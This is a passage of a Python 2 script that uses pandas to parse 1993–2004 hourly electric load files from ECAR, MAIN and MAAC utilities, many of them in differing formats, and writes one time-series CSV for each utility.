widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/OES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/OES95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/OES96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 14015 : { 1993 : pd.read_fwf('%s/ecar/1993/OVEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/OVEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/OVEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/OVEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/OVEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/OVEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/OVEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/OVEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/OVEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/OVEC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/OVEC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/OVEC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 15470 : { 1993 : pd.read_fwf('%s/ecar/1993/PSI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/PSI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/PSI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 17633 : { 1993 : pd.read_fwf('%s/ecar/1993/SIGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/SIGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/SIGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/SIGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/SIGE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/SIGE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/SIGE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/SIGE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/SIGE02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/SIGE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/SIGE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 18997 : { 1993 : pd.read_fwf('%s/ecar/1993/TECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/TECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/TECO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/TECO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 40211 : { 1994 : pd.read_fwf('%s/ecar/1994/WVPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/ecar/2003/WVPA03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/WVPA04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 32208 : { 1997 : pd.read_fwf('%s/ecar/1997/FE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/FE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/FE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/FE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/FE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/FE02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/FE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/FE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 'mccp' : { 1993 : pd.read_fwf('%s/ecar/1993/MCCP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/MCCP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/MCCP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/MCCP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/MCCP01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/MCCP02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/MCCP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/MCCP04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() } } if not os.path.exists('./ecar'): os.mkdir('ecar') for k in ecar.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(ecar[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(ecar[k][i]))) for i in ecar[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./ecar/%s.csv' % k) ###### MAIN # CECO : 4110 # CILC: 3252 <- Looks like something is getting cut off from 1993-2000 # CIPS: 3253 # IPC: 9208 # MGE: 11479 # SIPC: 17632 # SPIL: 17828 # UE: 19436 # WEPC: 20847 # WPL: 20856 # WPS: 20860 # UPP: 19578 # WPPI: 20858 # AMER: 19436 # CWL: 4045 main = { 4110 : { 1993 : pd.read_fwf('%s/main/1993/CECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_csv('%s/main/1995/CECO95' % (fulldir), skiprows=3, header=None)[0].values, 1996 : pd.read_csv('%s/main/1996/CECO96' % (fulldir), skiprows=4, header=None)[1].values, 1997 : pd.read_csv('%s/main/1997/CECO97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=4, header=None)[3].values, 1998 : pd.read_csv('%s/main/1998/CECO98' % (fulldir), sep='\s', skipinitialspace=True, skiprows=5, header=None)[5].values, 1999 : pd.read_csv('%s/main/1999/CECO99' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values, 2000 : pd.read_csv('%s/main/2000/CECO00' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values, 2001 : pd.read_csv('%s/main/2001/CECO01' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values, 2002 : pd.read_csv('%s/main/2002/CECO02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None)[2].values }, 3252 : { 1993 : pd.read_fwf('%s/main/1993/CILC93' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1994 : pd.read_fwf('%s/main/1994/CILC94' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1995 : pd.read_fwf('%s/main/1995/CILC95' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1996 : pd.read_fwf('%s/main/1996/CILC96' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1997 : pd.read_fwf('%s/main/1997/CILC97' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1998 : pd.read_fwf('%s/main/1998/CILC98' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1999 : pd.read_fwf('%s/main/1999/CILC99' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 2000 : pd.read_excel('%s/main/2000/CILC00' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(), 2001 : pd.read_excel('%s/main/2001/CILC01' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(), 2002 : pd.read_excel('%s/main/2002/CILC02' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(), 2003 : pd.read_csv('%s/main/2003/CILC03' % (fulldir), skiprows=1, sep='\t').iloc[:, -1].values }, 3253 : { 1993 : pd.read_fwf('%s/main/1993/CIPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/main/1994/CIPS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/main/1995/CIPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/main/1996/CIPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/main/1997/CIPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9208 : { 1993 : pd.read_csv('%s/main/1993/IPC93' % (fulldir), skipfooter=1, header=None)[2].values, 1994 : pd.read_csv('%s/main/1994/IPC94' % (fulldir), skipfooter=1, header=None)[2].values, 1995 : pd.read_csv('%s/main/1995/IPC95' % (fulldir), skipfooter=1, header=None)[4].astype(str).str.replace('.', '0').astype(float).values, 1996 : pd.read_csv('%s/main/1996/IPC96' % (fulldir)).iloc[:, -1].values, 1997 : pd.read_csv('%s/main/1997/IPC97' % (fulldir)).iloc[:, -1].values, 1998 : pd.read_excel('%s/main/1998/IPC98' % (fulldir)).iloc[:, -1].values, 1999 : pd.read_csv('%s/main/1999/IPC99' % (fulldir), skiprows=2, header=None)[1].values, 2000 : pd.read_excel('%s/main/2000/IPC00' % (fulldir), skiprows=1).iloc[:, -1].values, 2001 : pd.read_excel('%s/main/2001/IPC01' % (fulldir), skiprows=1).iloc[:, -1].values, 2002 : pd.read_excel('%s/main/2002/IPC02' % (fulldir), skiprows=4).iloc[:, -1].values, 2003 : pd.read_excel('%s/main/2003/IPC03' % (fulldir), skiprows=1).iloc[:, -1].values, 2004 : pd.read_excel('%s/main/2004/IPC04' % (fulldir), skiprows=1).iloc[:, -1].values }, 11479 : { 1993 : pd.read_fwf('%s/main/1993/MGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=4).iloc[:, 1:].dropna().astype(float).values.ravel(), 1995 : pd.read_csv('%s/main/1995/MGE95' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values, 1997 : pd.read_csv('%s/main/1997/MGE97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=12, header=None).iloc[:-1, 2].astype(float).values, 1998 : pd.read_csv('%s/main/1998/MGE98' % (fulldir), sep=' ', skipinitialspace=True).iloc[:-1]['LOAD'].astype(float).values, 1999 : pd.read_csv('%s/main/1999/MGE99' % (fulldir), sep=' ', skiprows=2, header=None, skipinitialspace=True).iloc[:-2, 2].astype(float).values, 2000 : pd.read_csv('%s/main/2000/MGE00' % (fulldir), sep=' ', skiprows=3, header=None, skipinitialspace=True, skipfooter=2).iloc[:, 2].astype(float).values, 2000 : pd.read_fwf('%s/main/2000/MGE00' % (fulldir), skiprows=2)['VMS_DATE'].iloc[:-2].str.split().str[-1].astype(float).values, 2001 : pd.read_fwf('%s/main/2001/MGE01' % (fulldir), skiprows=1, header=None).iloc[:-2, 2].values, 2002 : pd.read_fwf('%s/main/2002/MGE02' % (fulldir), skiprows=4, header=None).iloc[:-1, 0].str.split().str[-1].astype(float).values }, 17632 : { 1994 : pd.read_csv('%s/main/1994/SIPC94' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1996 : pd.read_csv('%s/main/1996/SIPC96' % (fulldir), engine='python', header=None)[0].values, 1997 : pd.read_csv('%s/main/1997/SIPC97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/main/1998/SIPC98' % (fulldir), engine='python', header=None)[0].values, 1999 : pd.read_csv('%s/main/1999/SIPC99' % (fulldir), engine='python', header=None)[0].replace('no data', '0').astype(float).values, 2000 : pd.read_csv('%s/main/2000/SIPC00' % (fulldir), engine='python', header=None)[0].astype(str).str[:3].astype(float).values, 2001 : pd.read_csv('%s/main/2001/SIPC01' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values, 2002 : pd.read_csv('%s/main/2002/SIPC02' % (fulldir), sep='\t', skiprows=3, header=None)[1].values, 2003 : pd.read_csv('%s/main/2003/SIPC03' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values, 2004 : pd.read_csv('%s/main/2004/SIPC04' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values }, 17828 : { 1993 : pd.read_csv('%s/main/1993/SPIL93' % (fulldir), sep=' ', skipinitialspace=True, skiprows=4, header=None).iloc[:, 3:].values.ravel(), 1994 : pd.read_csv('%s/main/1994/SPIL94' % (fulldir), sep=' ', skipinitialspace=True, skiprows=6, header=None).iloc[:, 3:].values.ravel(), 1995 : pd.read_csv('%s/main/1995/SPIL95' % (fulldir), sep=' ', skipinitialspace=True, skiprows=7, header=None).iloc[:, 3:].values.ravel(), 1996 : pd.read_csv('%s/main/1996/SPIL96' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).iloc[:366, 3:].astype(float).values.ravel(), 1997 : pd.read_csv('%s/main/1997/SPIL97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=7, header=None).iloc[:, 3:].values.ravel(), 1998 : pd.read_csv('%s/main/1998/SPIL98' % (fulldir), sep='\t', skipinitialspace=True, skiprows=8, header=None).iloc[:, 4:].values.ravel(), 1999 : pd.read_csv('%s/main/1999/SPIL99' % (fulldir), skiprows=4, header=None)[0].values, 2000 : pd.read_csv('%s/main/2000/SPIL00' % (fulldir), skiprows=4, header=None)[0].values, 2001 : pd.read_csv('%s/main/2001/SPIL01' % (fulldir), sep='\t', skipinitialspace=True, skiprows=7, header=None).iloc[:, 5:-1].values.ravel(), 2002 : pd.read_excel('%s/main/2002/SPIL02' % (fulldir), sheetname=2, skiprows=5).iloc[:, 3:].values.ravel(), 2003 : pd.read_excel('%s/main/2003/SPIL03' % (fulldir), sheetname=2, skiprows=5).iloc[:, 3:].values.ravel(), 2004 : pd.read_excel('%s/main/2004/SPIL04' % (fulldir), sheetname=0, skiprows=5).iloc[:, 3:].values.ravel() }, 19436 : { 1995 : pd.read_fwf('%s/main/1995/UE95' % (fulldir), header=None)[2].values, 1996 : pd.read_fwf('%s/main/1996/UE96' % (fulldir), header=None)[2].values, 1997 : pd.read_fwf('%s/main/1997/UE97' % (fulldir), header=None)[2].values }, 20847 : { 1993 : pd.read_csv('%s/main/1993/WEPC93' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1994 : pd.read_csv('%s/main/1994/WEPC94' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1995 : pd.read_csv('%s/main/1995/WEPC95' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1996 : pd.read_csv('%s/main/1996/WEPC96' % (fulldir), engine='python', header=None)[0].values, 1997 : pd.read_excel('%s/main/1997/WEPC97' % (fulldir), header=None)[0].astype(str).str.strip().replace('NA', '0').astype(float).values, 1998 : pd.read_csv('%s/main/1998/WEPC98' % (fulldir), engine='python', header=None)[0].str.strip().replace('NA', 0).astype(float).values, 1999 : pd.read_excel('%s/main/1999/WEPC99' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_excel('%s/main/2000/WEPC00' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_excel('%s/main/2001/WEPC01' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_excel('%s/main/2002/WEPC02' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2003 : pd.read_excel('%s/main/2003/WEPC03' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2004 : pd.read_excel('%s/main/2004/WEPC04' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 20856 : { 1993 : pd.read_fwf('%s/main/1993/WPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/main/1994/WPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/main/1995/WPL95' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/main/1996/WPL96' % (fulldir), header=None, sep='\t').iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/main/1997/WPL97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=1, header=None)[2].str.replace(',', '').astype(float).values }, 20860 : { 1993 : pd.read_csv('%s/main/1993/WPS93' % (fulldir), sep=' ', header=None, skipinitialspace=True, skipfooter=1).values.ravel(), 1994 : (pd.read_csv('%s/main/1994/WPS94' % (fulldir), sep=' ', header=None, skipinitialspace=True, skipfooter=1).iloc[:, 1:-1]/100).values.ravel(), 1995 : pd.read_csv('%s/main/1995/WPS95' % (fulldir), sep=' ', skipinitialspace=True, skiprows=8, header=None, skipfooter=7)[2].values, 1996 : pd.read_csv('%s/main/1996/WPS96' % (fulldir), sep='\t', skiprows=2).loc[:365, '100':'2400'].astype(float).values.ravel(), 1997 : pd.read_csv('%s/main/1997/WPS97' % (fulldir), sep='\s', header=None, skipfooter=1)[2].values, 1998 : pd.read_csv('%s/main/1998/WPS98' % (fulldir), sep='\s', header=None)[2].values, 1999 : pd.read_excel('%s/main/1999/WPS99' % (fulldir), skiprows=8, skipfooter=8, header=None)[1].values, 2000 : pd.read_excel('%s/main/2000/WPS00' % (fulldir), sheetname=1, skiprows=5, skipfooter=8, header=None)[2].values, 2001 : pd.read_excel('%s/main/2001/WPS01' % (fulldir), sheetname=0, skiprows=5, header=None)[2].values, 2002 : pd.read_csv('%s/main/2002/WPS02' % (fulldir), sep='\s', header=None, skiprows=5)[2].values, 2003 : pd.read_excel('%s/main/2003/WPS03' % (fulldir), sheetname=1, skiprows=6, header=None)[2].values }, 19578 : { 1996 : pd.read_csv('%s/main/1996/UPP96' % (fulldir), header=None, skipfooter=1).iloc[:, -1].values, 2004 : pd.read_excel('%s/main/2004/UPP04' % (fulldir)).iloc[:, -1].values }, 20858 : { 1997 : pd.read_csv('%s/main/1997/WPPI97' % (fulldir), skiprows=5, sep=' ', skipinitialspace=True, header=None).iloc[:, 1:-1].values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/main/1999/WPPI99' % (fulldir)).readlines()[5:]]).iloc[:, 1:-1].astype(float).values.ravel(), 2000 : pd.DataFrame([i.split() for i in open('%s/main/2000/WPPI00' % (fulldir)).readlines()[5:]]).iloc[:, 1:-1].astype(float).values.ravel(), 2001 : pd.read_excel('%s/main/2001/WPPI01' % (fulldir), sheetname=1, skiprows=4).iloc[:, 1:-1].values.ravel(), 2002 : pd.read_excel('%s/main/2002/WPPI02' % (fulldir), sheetname=1, skiprows=4).iloc[:, 1:-1].values.ravel() }, 19436 : { 1998 : pd.read_csv('%s/main/1998/AMER98' % (fulldir), sep='\t').iloc[:, -1].str.strip().replace('na', 0).astype(float).values, 1999 : pd.read_csv('%s/main/1999/AMER99' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2000 : pd.read_csv('%s/main/2000/AMER00' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2001 : pd.read_csv('%s/main/2001/AMER01' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('n/a', 0).astype(float).values, 2002 : pd.read_csv('%s/main/2002/AMER02' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2003 : pd.read_csv('%s/main/2003/AMER03' % (fulldir), sep='\t', skiprows=1).iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2004 : pd.read_csv('%s/main/2004/AMER04' % (fulldir), sep='\t', skiprows=1).iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values }, 4045 : { 2000 : pd.read_excel('%s/main/2000/CWL00' % (fulldir), skiprows=2).iloc[:, 1:].values.ravel(), 2001 : pd.read_excel('%s/main/2001/CWL01' % (fulldir), skiprows=1).iloc[:, 0].values, 2002 : pd.read_excel('%s/main/2002/CWL02' % (fulldir), header=None).iloc[:, 0].values, 2003 : pd.read_excel('%s/main/2003/CWL03' % (fulldir), header=None).iloc[:, 0].values } } main[20847][1994][main[20847][1994] > 9000] = 0 main[20847][1995][main[20847][1995] > 9000] = 0 main[20847][1996][main[20847][1996] > 9000] = 0 if not os.path.exists('./main'): os.mkdir('main') for k in main.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(main[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(main[k][i]))) for i in main[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./main/%s.csv' % k) # EEI # Bizarre formatting until 1998 ###### MAAC # AE: 963 # BC: 1167 # DPL: 5027 # PU: 7088 # PN: 14715 # PE: 14940 # PEP: 15270 # PS: 15477 # PJM: 14725 # ALL UTILS maac93 = pd.read_fwf('%s/maac/1993/PJM93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1) maac94 = pd.read_fwf('%s/maac/1994/PJM94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1) maac95 = pd.read_csv('%s/maac/1995/PJM95' % (fulldir), sep='\t', header=None, skipfooter=1) maac96 = pd.read_csv('%s/maac/1996/PJM96' % (fulldir), sep='\t', header=None, 